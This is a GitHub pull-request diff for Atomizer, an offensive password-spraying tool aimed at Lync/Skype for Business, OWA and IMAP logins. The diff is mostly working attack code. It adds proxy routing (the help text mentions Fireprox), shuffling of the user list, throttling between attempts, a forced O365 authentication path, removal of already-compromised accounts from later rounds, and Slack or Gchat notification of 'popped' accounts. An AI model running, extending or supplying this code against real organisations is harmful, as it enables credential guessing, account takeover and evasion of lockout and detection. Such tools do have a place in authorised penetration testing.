Skip to content
This repository was archived by the owner on Oct 17, 2022. It is now read-only.
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
966 changes: 672 additions & 294 deletions Pipfile.lock

Large diffs are not rendered by default.

90 changes: 70 additions & 20 deletions atomizer.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,11 @@

"""
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer (lync|owa|imap) <target> <password> <userfile> [--gchat <URL>] [--slack <URL>] [--proxy PROXY] [--targetPort PORT] [--threads THREADS] [--sleep SECONDS] [--debug] [--shuffle] [--o365]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--proxy PROXY] [--targetPort PORT] [--threads THREADS] [--sleep SECONDS] [--debug] [--shuffle] [--o365]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--gchat <URL>] [--slack <URL>] [--proxy PROXY] [--targetPort PORT] [--threads THREADS] [--sleep SECONDS] [--debug] [--shuffle] [--o365]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--gchat <URL>] [--slack <URL>] [--proxy PROXY] [--targetPort PORT] [--threads THREADS] [--sleep SECONDS] [--debug] [--shuffle] [--o365]
atomizer (lync|owa|imap) <target> --recon [--debug] [--proxy PROXY]
atomizer -h | --help
atomizer -v | --version

Expand All @@ -21,10 +21,14 @@
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-s, --sleep SECONDS sleep after each authentication attempt [default: 5]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
-x, --proxy PROXY use proxy on requests
--recon only collect info, don't password spray
--shuffle shuffle user list in each iteration
--o365 force o365 auth method (useful with Fireprox)
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
Expand All @@ -38,6 +42,7 @@
import concurrent.futures
import sys
import csv
import random
from functools import partial
from pathlib import Path
from docopt import docopt
Expand All @@ -48,12 +53,22 @@


class Atomizer:
def __init__(self, loop, target, threads=3, debug=False):
def __init__(self, loop, target, threads=3, debug=False, proxy=None, shuffle=False, sleep=5, o365=False):
self.loop = loop
self.target = target
self.sprayer = None
self.threads = int(threads)
self.debug = debug
self.shuffle = shuffle
self.sleep = int(sleep)
self.force_o365 = o365
if proxy is None:
self.proxy = None
else:
self.proxy = {
'http': proxy,
'https': proxy,
}

log_format = '%(threadName)10s %(name)18s: %(message)s' if debug else '%(message)s'

Expand All @@ -74,7 +89,9 @@ def lync(self):

def owa(self):
self.sprayer = OWA(
target=self.target
target=self.target,
proxy=self.proxy,
force_o365=self.force_o365
)

def imap(self, port):
Expand All @@ -83,19 +100,22 @@ def imap(self, port):
port=port
)

async def atomize(self, userfile, password):
async def atomize(self, userlist, password, shuffle):
log = logging.getLogger('atomize')
log.debug('atomizing...')

auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth

log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))

if shuffle:
log.debug('randomizing user list')
random.shuffle(userlist)
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=password))
for username in userfile
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=password, proxy=self.proxy, sleep=self.sleep))
for username in userlist
]

log.debug('waiting for executor tasks')
await asyncio.wait(blocking_tasks)
log.debug('exiting')
Expand All @@ -109,7 +129,7 @@ async def atomize_csv(self, csvreader: csv.DictReader, user_row_name='Email Addr
log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=row[user_row_name], password=row[pass_row_name]))
self.loop.run_in_executor(self.executor, partial(auth_function, username=row[user_row_name], password=row[pass_row_name], proxy=self.proxy, sleep=self.sleep))
for row in csvreader
]

Expand All @@ -126,7 +146,7 @@ async def atomize_user_as_pass(self, userfile):
log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=username.strip().split('\\')[-1:][0]))
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=username.strip().split('\\')[-1:][0], proxy=self.proxy, sleep=self.sleep))
for username in userfile
]

Expand All @@ -153,7 +173,11 @@ def remove_handlers(loop):
loop=loop,
target=args['<target>'].lower(),
threads=args['--threads'],
debug=args['--debug']
debug=args['--debug'],
proxy=args['--proxy'],
shuffle=args['--shuffle'],
sleep=args['--sleep'],
o365=args['--o365']
)

logging.debug(args)
Expand All @@ -174,17 +198,20 @@ def remove_handlers(loop):

if not args['--recon']:
add_handlers(loop, atomizer.shutdown)

popped_accts = 0
if args['--interval']:
popped_accts = 0
with open(args['<passwordfile>']) as passwordfile:
password = passwordfile.readline()
while password != "":
with open(args['<userfile>']) as userfile:
userlist = userfile.read().splitlines()
# remove valid accounts from list
userlist = list(set(userlist) - set([u.split(':')[0] for u in atomizer.sprayer.valid_accounts]))
loop.run_until_complete(
atomizer.atomize(
userfile=userfile,
password=password.strip()
userlist=userlist,
password=password.strip(),
shuffle=args['--shuffle']
)
)

Expand All @@ -205,12 +232,21 @@ def remove_handlers(loop):

elif args['<userfile>']:
with open(args['<userfile>']) as userfile:
userlist = userfile.read().splitlines()
loop.run_until_complete(
atomizer.atomize(
userfile=userfile,
password=args['<password>']
userlist=userlist,
password=args['<password>'],
shuffle=args['--shuffle']
)
)
if popped_accts != len(atomizer.sprayer.valid_accounts):
popped_accts = len(atomizer.sprayer.valid_accounts)

if args['--gchat']:
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
if args['--slack']:
slack(args['--slack'], args['<target>'], atomizer.sprayer)

elif args['--csvfile']:
with open(args['--csvfile']) as csvfile:
Expand All @@ -222,9 +258,23 @@ def remove_handlers(loop):
pass_row_name=args['--pass-row-name']
)
)
if popped_accts != len(atomizer.sprayer.valid_accounts):
popped_accts = len(atomizer.sprayer.valid_accounts)

if args['--gchat']:
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
if args['--slack']:
slack(args['--slack'], args['<target>'], atomizer.sprayer)

elif args['--user-as-pass']:
with open(args['--user-as-pass']) as userfile:
loop.run_until_complete(atomizer.atomize_user_as_pass(userfile))
if popped_accts != len(atomizer.sprayer.valid_accounts):
popped_accts = len(atomizer.sprayer.valid_accounts)

if args['--gchat']:
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
if args['--slack']:
slack(args['--slack'], args['<target>'], atomizer.sprayer)

atomizer.shutdown()
5 changes: 4 additions & 1 deletion core/sprayers/imap.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import logging
import time
from core.utils.messages import print_good, print_bad
import imapclient

Expand All @@ -17,7 +18,8 @@ def shutdown(self):

self.log.info(print_good(f"Dumped {len(self.valid_accounts)} valid accounts to imap_valid_accounts.txt"))

def auth_O365(self, username, password):
def auth_O365(self, username, password, proxy, sleep):
# TODO: use socks proxy
log = logging.getLogger(f"auth_imap_O365({username})")
try:
server = imapclient.IMAPClient(self.target, port=self.port, ssl=True, timeout=3)
Expand All @@ -29,6 +31,7 @@ def auth_O365(self, username, password):
except Exception as e:
self.log.error(print_bad(f"Error communicating with the IMAP server"))
self.log.error(f" Full error: {e}\n")
time.sleep(sleep)

def __str__(self):
return "IMAP"
77 changes: 45 additions & 32 deletions core/sprayers/lync.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
from lib2to3.pytree import Base
import logging
import requests
import time
import urllib.parse as urlparse
from datetime import timedelta
from requests.exceptions import ConnectionError
Expand All @@ -10,14 +12,15 @@


class Lync:
def __init__(self, target):
def __init__(self, target, proxy=None):
self.domain = target
self.log = logging.getLogger('lyncsprayer')
self.valid_accounts = set()
self.lync_autodiscover_url = None
self.lync_base_url = None
self.lync_auth_url = None
self.O365 = False
self.proxy = proxy

self.recon()

Expand Down Expand Up @@ -51,26 +54,26 @@ def get_s4b_autodiscover_url(self, domain):

for url in urls:
try:
requests.get(url, verify=False)
requests.get(url, verify=False, proxies=self.proxy)
return url
except ConnectionError:
continue

# https://github.com/mdsecresearch/LyncSniper/blob/master/LyncSniper.ps1#L259
def get_s4b_base_url(self, url):
headers = {"Content-Type": "application/json"}
r = requests.get(url, headers=headers, verify=False).json()
r = requests.get(url, headers=headers, verify=False, proxies=self.proxy).json()
if 'user' in r['_links']:
return r['_links']['user']['href']

return self.get_s4b_base_url(r['_links']['redirect']['href'])

def get_internal_s4b_hostname(self, url):
r = requests.get(url, verify=False)
r = requests.get(url, verify=False, proxies=self.proxy)
return r.headers['X-MS-Server-Fqdn']

# https://github.com/mdsecresearch/LyncSniper/blob/master/LyncSniper.ps1#L409
def auth_O365(self, username, password):
def auth_O365(self, username, password, proxy, sleep):
log = logging.getLogger(f"auth_lync_O365({username})")

utc_time = datetime.utcnow().replace(tzinfo=simple_utc()).isoformat()
Expand Down Expand Up @@ -110,30 +113,35 @@ def auth_O365(self, username, password):
</S:Envelope>"""

headers = {'Content-Type': "application/soap+xml; charset=utf-8"}
r = requests.post("https://login.microsoftonline.com/rst2.srf", headers=headers, data=soap)
xml = etree.XML(r.text.encode())
msg = xml.xpath('//text()')[-1]

if 'Invalid STS request' in msg:
log.error(print_bad('Invalid request was received by server, dumping request & response XML'))
log.error(soap + '\n' + r.text)
elif ('the account must be added' in msg) or ("The user account does not exist" in msg):
log.info(print_bad(f"Authentication failed: {username}:{password} (Username does not exist)"))
elif 'you must use multi-factor' in msg.lower():
log.info(print_good(f"Found Credentials: {username}:{password} (However, MFA is required)"))
self.valid_accounts.add(f'{username}:{password}')
elif 'No tenant-identifying information found' in msg:
log.info(print_bad(f"Authentication failed: {username}:{password} (No tenant-identifying information found)"))
elif 'FailedAuthentication' in r.text: # Fallback
log.info(print_bad(f"Authentication failed: {username}:{password} (Invalid credentials)"))
try:
r = requests.post("https://login.microsoftonline.com/rst2.srf", headers=headers, data=soap, proxies=proxy)
except BaseException as e:
log.error(print_bad(f"Error during authentication: {e}"))
else:
log.info(print_good(f"Found credentials: {username}:{password}"))
self.valid_accounts.add(f'{username}:{password}')

log.debug(r.text)
xml = etree.XML(r.text.encode())
msg = xml.xpath('//text()')[-1]

if 'Invalid STS request' in msg:
log.error(print_bad('Invalid request was received by server, dumping request & response XML'))
log.error(soap + '\n' + r.text)
elif ('the account must be added' in msg) or ("The user account does not exist" in msg):
log.info(print_bad(f"Authentication failed: {username}:{password} (Username does not exist)"))
elif 'you must use multi-factor' in msg.lower():
log.info(print_good(f"Found Credentials: {username}:{password} (However, MFA is required)"))
self.valid_accounts.add(f'{username}:{password}')
elif 'No tenant-identifying information found' in msg:
log.info(print_bad(f"Authentication failed: {username}:{password} (No tenant-identifying information found)"))
elif 'FailedAuthentication' in r.text: # Fallback
log.info(print_bad(f"Authentication failed: {username}:{password} (Invalid credentials)"))
else:
log.info(print_good(f"Found credentials: {username}:{password}"))
self.valid_accounts.add(f'{username}:{password}')

log.debug(r.text)
time.sleep(sleep)

# https://github.com/mdsecresearch/LyncSniper/blob/master/LyncSniper.ps1#L397-L406
def auth(self, username, password):
def auth(self, username, password, proxy, sleep):
log = logging.getLogger(f"auth_lync({username})")

payload = {
Expand All @@ -142,13 +150,18 @@ def auth(self, username, password):
"password": password
}

r = requests.post(self.lync_auth_url, data=payload, verify=False)
try:
r.json()['access_token']
log.info(print_good(f"Found credentials: {username}:{password}"))
self.valid_accounts.add(f'{username}:{password}')
except Exception as e:
log.info(print_bad(f"Invalid credentials: {username}:{password}"))
r = requests.post(self.lync_auth_url, data=payload, verify=False, proxies=proxy)
except BaseException as e:
log.error(print_bad(f"Error during authentication: {e}"))
else:
try:
r.json()['access_token']
log.info(print_good(f"Found credentials: {username}:{password}"))
self.valid_accounts.add(f'{username}:{password}')
except Exception as e:
log.info(print_bad(f"Invalid credentials: {username}:{password}"))
time.sleep(sleep)

def __str__(self):
return "lync"
Loading